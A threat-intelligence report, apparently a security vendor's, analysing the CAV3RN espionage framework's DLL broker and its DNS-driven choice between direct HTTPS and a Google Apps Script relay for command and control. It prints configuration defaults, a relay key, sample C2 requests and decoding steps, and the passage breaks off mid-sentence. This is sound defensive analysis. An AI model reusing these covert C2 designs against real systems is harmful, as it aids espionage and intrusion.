Project CAV3RN continues: Google Apps Script as C2 relay and DNS-based C2 channel selection
Project CAV3RN is a modular espionage framework used against targets in Israel. This report expands on two earlier publications: the first was published in June 2026 as part of our Kaspersky Threat Intelligence Reporting service, and the second was published on Securelist the following month, further documenting the framework’s evolving architecture and C2 capabilities. Continued tracking of this cluster in early August 2026 uncovered several previously undocumented components that expanded the framework’s communication and orchestration capabilities. The main finding is a complex C2 module that uses DNS A-record responses to choose between direct HTTPS and a Google Apps Script relay for each transaction. The same DNS infrastructure can validate and replace the relay deployment ID, allowing the operator to rotate the Google channel. We also identified the framework’s local broker, which discovers and loads DLL components, routes messages between them, and supports runtime upgrades. Multi-transport C2 communication module The communication module, GoogleService.dll , is a 64-bit DLL compiled with Microsoft .NET 8 NativeAOT. Its PDB path is: | 1 | C:\Users\user\Desktop\Modules\broker-cavern\communication\GoogleCommunication\bin\Release\net8.0\win-x64\native\GoogleService.pdb | NativeAOT data also revealed references to eight source files, including the Direct.cs , FindMode.cs , and Google.cs . The DLL exports GroupByCategory , CheckAvailability , IsPrimeNumber , and OrderByDate . During initialization, its host (local broker) registers the module’s callback and starts CheckAvailability . After three seconds, the module sends a type-0 frame to the fixed identifier 33A4BA78-E286-4FF2-85EC-7365265F3D93 . The broker returns Err1::33A4BA78-E286-4FF2-85EC-7365265F3D93 , which the module expects and uses to learn the broker’s name before starting its C2 worker. C2 packets contain type, cid , and payload fields. Packets of the type icmgdd are processed by the communication module itself, while other types, including broker , are forwarded to the local broker. Within command payloads, ;; separates the command from its arguments and , separates individual arguments. At startup, the worker internally sends: | 1 | {"type":"icmgdd","cid":0,"payload":"s_version_;;"} | The s_version handler enumerates DLLs under AppContext.BaseDirectory, collects their company names and versions, and appends the communication module’s name/version and the local broker’s name. This inventory is serialized as JSON, XORed with 0xAC, Base64-encoded, and sent as the module’s initial C2 report. The module supports five internal commands: | Command | Functionality | | s_version | Returns the DLL-version inventory described above. The command is executed automatically at startup. | | s_config | Returns the active configuration and, when provided with a JSON configuration object, replaces it in memory. | | s_enLog | Enables diagnostic logging at the Debug level. | | s_deLog | Disables diagnostic logging and sets the logging level to Fatal. | | s_write | Base64-decodes and GZip-decompresses provided data before writing it to the specified file path. | The module reads conf.json from the process’s current working directory. If it is missing, the module generates a seven-character client identifier and writes its embedded defaults to disk. | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | { "to": " ", // Client ID "ad": "https://api.studiotikva.com/api/v1/update/check", // Direct C2 URL "ho": "studiotikva.com", // DNS domain "gi": " ", // Apps Script deployment ID "de": false, // Enable Debug logging at startup "mi": 120000, // Poll-delay reset after a non-empty response "ma": 18000000, // Progressive poll-delay cap "ri": 30000, // Base DNS recovery/error delay, with positive jitter "ga": "s3criitC0d3/8-)B-,)", // Apps Script relay authentication key "gu": "https://script.google.com/macros/s/{0}/exec", "ua": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31", "mcc": 50, // unknown "mtc": 10 // unknown } | The s_config command can replace these settings in memory but does not update the file. DNS recovery is the exception: a recovered Apps Script deployment ID is written back to conf.json . Before polling for commands or sending a result, the module performs a DNS A-record query to select Direct HTTPS or Google Apps Script: The first label combines a three- or four-character uppercase alphanumeric nonce with the current error state: 0 for None , 1 for GIDFailed , 2 for GoogleFailed , and 3 for DirectFailed . Each new transaction starts in state 0. The exact response 12.19.29[.]30 is treated as a rejection. Other responses are interpreted according to their fourth octet: | Fourth octet | None (0) | GIDFailed (1) | GoogleFailed (2) | DirectFailed (3) | | 120 (0x78) | Google Apps Script | Direct HTTPS | Direct HTTPS | Google Apps Script | | 130 (0x82) | Direct HTTPS | Direct HTTPS | Direct HTTPS | Close the transaction (no channel) | | 140 (0x8C) | Exception | Exception | Exception | Exception | | All other values | Google Apps Script | Google Apps Script | Google Apps Script | Google Apps Script | During analysis, valid .m queries returned 12.121.234[.]120 , while malformed queries returned 12.19.29[.]30 . For example, YCZ2.41414141303030.m.studiotikva[.]com carries state 2, so the final octet 120 selects Direct HTTPS. When Google mode is selected, the module calculates the MD5 digest of its stored deployment ID and compares its first four bytes with the A record returned by . .q.studiotikva[.]com . A mismatch causes the module to retrieve a replacement through .p queries: . .p.studiotikva[.]com . The offset-0 response contains a one-byte length followed by the first three ID bytes. Each subsequent response contributes four bytes. The observed response 74.65.75.102 represents 4A 41 4B 66 : a length of 74 followed by AKf . The DLL stops after collecting the declared length and discards the final padding byte rather than requesting offset 76. One initial response and 18 continuation responses produced a 74-character deployment ID, shown redacted as AKfycby46v0DPSEKWYadvQ . The .q response 247.188.216[.]122 contains the bytes f7 bc d8 7a , matching the first four MD5 bytes of the recovered value. This is a 32-bit freshness check. Google Apps Script channel When DNS selects Google mode, the module inserts the deployment ID into https://script.google[.]com/macros/s/{deployment-ID}/exec . Direct GET requests return a decoy page titled My App with the message This application is running normally . C2 polling instead uses an outer POST to Apps Script whose "m":"GET" field instructs the relay to issue a GET request to its upstream server: | 1 2 3 4 5 | POST /macros/s/AKfycbw2Wo4nYIQ********UxSvjunDmNpeA/exec HTTP/1.1 Host: script.google.com Content-Type: application/json {"k":"s3criitC0d3/8-)B-,)","m":"GET","h":{"X-Client-Id":"AAAA000","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31"},"b":null,"ct":null,"r":true} | The request returns a 302 redirect; a redirect-following client subsequently receives a 200 OK serving the response: | 1 2 3 4 5 6 7 8 9 10 11 12 | HTTP/2 302 content-type: text/html; charset=UTF-8 access-control-allow-origin: * location: https://script.googleusercontent.com/macros/echo?user_content_key=AUkAhnT1XStTpObO…&lib=MQif1e23CL4IxZSlC7RWEgUDuxmmFKhYR server: GSE HTTP/2 200 content-type: application/json; charset=utf-8 access-control-allow-origin: * server: GSE {"s":200,"h":{"Content-Type":"text/html; charset=utf-8","Vary":"Cookie","Server":"nginx","Content Length":"4","Connection":"keep-alive","Date":"Mon, 03 Aug 2026 20:07:54 GMT","Access-Control-Allow-Origin":""},"b":"OS9FPQ=="} | Decoding b produces 9/E=; decoding it again produces f7 f1 , which XORs with 0xAC to [] , indicating an empty task list. An upstream timeout also exposed https://api.studiotikva[.]com/ac , confirming that the Apps Script deployment forwards requests to an actor-controlled backend. Direct HTTPS channel When DNS selects Direct HTTPS, the module contacts the configured ad address, https://api.studiotikva[.]com/api/v1/update/check , without using the relay. This occurs when the final octet is 130 (0x82) in the None , GIDFailed , or GoogleFailed states , or 120 (0x78) in the GIDFailed or GoogleFailed states . The endpoint expects the custom X-Client-Id header; requests without the expected header return {"res":"failed"} in its HTTP response. However, a GET request carrying the correct X-Client-Id value receives a 76-byte body as shown in the following figure: Base64-decoding the response body and XORing it with 0xAC produced the following broker-directed task packet: [{"type":"broker","cid":109,"payload":"002;;__,"}] . The broker type instructs the communication module to forward the task to the local broker. Inter-component DLL broker The inter-component broker, rnp.dll, is a 64-bit DLL compiled with Microsoft Visual C++. Its embedded PDB path is C:\Users\user\Desktop\Modules\broker-cavern\1.out\rnp.pdb . It masquerades as the RNP OpenPGP library through numerous rnp* exports , while rnp_backend_string starts the broker. The broker coordinates the framework’s DLL components. At startup, it creates the BROKER control structure, initializes its message dispatcher, and scans the host directory for DLLs. Components are grouped by CompanyName, and the highest-version candidate from each group is loaded if it exposes GroupByCategory , CheckAvailability , IsPrimeNumber , and OrderByDate . The directory is rescanned every second, allowing a component to be added or upgraded without restarting the host. Updates require a higher-version DLL under a new path; replacing an existing file in place is not detected. Loaded components exchange messages through the broker. It locates the requested destination and invokes that component’s callback. Un
Comments
No comments yet. Start the discussion.